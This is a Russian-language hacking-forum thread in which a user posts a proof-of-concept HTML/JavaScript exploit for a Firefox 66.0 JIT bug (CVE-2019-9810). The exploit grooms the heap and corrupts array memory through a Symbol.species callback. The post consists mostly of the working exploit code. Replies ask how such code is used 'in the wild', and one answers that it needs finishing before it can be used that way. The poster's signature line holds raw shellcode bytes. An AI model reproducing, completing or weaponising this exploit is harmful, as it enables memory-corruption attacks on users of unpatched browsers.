• XSS.stack #1 – первый литературный журнал от юзеров форума

DoS Buffer overflow, Firefox 66.0, CVE-2019-9810

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
CVE-2019-9810-PoC
Array.prototype.slice wrong alias information
This bug I was found last year. And it was collision with @fluoroacetate in pwn2own 2019.
It was fixed in firefox 66.0.1


hello_firefox_11_30.html
HTML:
<script>
let size = 64;
garr = [];
j = 0;
function gc(){
    var tmp = [];
    for(let i = 0;i < 0x20000;i++){
        tmp[i] = new Uint32Array(size * 2);
        for(let j = 0;j < (size*2);j+=2){
            tmp[i][j] = 0x12345678;
            tmp[i][j+1] = 0xfffe0123;
        }
    }
    garr[j++] = tmp;
}
let arr = [{},2.2];
let obj = {};
obj[Symbol.species] = function(){
    victim.length = 0x0;
    for(let i = 0;i < 0x2000;i++){
        gvictim[i].length = 0x0;
        gvictim[i] = null;
    }
    gc();
    //Array.isArray(garr[0][0x10000]);
    return [1.1];
}
let gvictim = [];
for(let i = 0;i < 0x1000;i++){
    gvictim[i] = [1.1,2.2];
    gvictim[i].length = size;
    gvictim[i].fill(3.3);
}
let victim = [1.1,2.2];
victim.length = size;
victim.fill(3.3);
for(let i = 0x1000;i < 0x2000;i++){
    gvictim[i] = [1.1,2.2];
    gvictim[i].length = size;
    gvictim[i].fill(3.3);
}
function fake(arg){
}
for(let i = 0;i < size;i++){
    fake["x"+i.toString()] = 2.2;
}
function jit(){
    victim[1] = 1.1;
    arr.slice();
    //fake.x2 = 6.17651672645e-312;
    return victim[2];
}
flag = 0;
for(let i = 0;i < 0x10000;i++){
    xx = jit();
}
arr.constructor = obj;
Array.isArray(victim);
alert(333);
alert(jit());
</script>
 
Последнее редактирование:
Очень интересно. Ток что накатил себе старую версию, чтобы поигратся.
Очень интересно, может кто подскажет новичку, как такие штуки юзаются in-the-wild. Что потенциально можно сделать?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Очень интересно. Ток что накатил себе старую версию, чтобы поигратся.
Очень интересно, может кто подскажет новичку, как такие штуки юзаются in-the-wild. Что потенциально можно сделать?

Надо его доделать со всеми вытекающими моментами, что не включены в PoC. Чтобы использовать его в in-the-wild.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх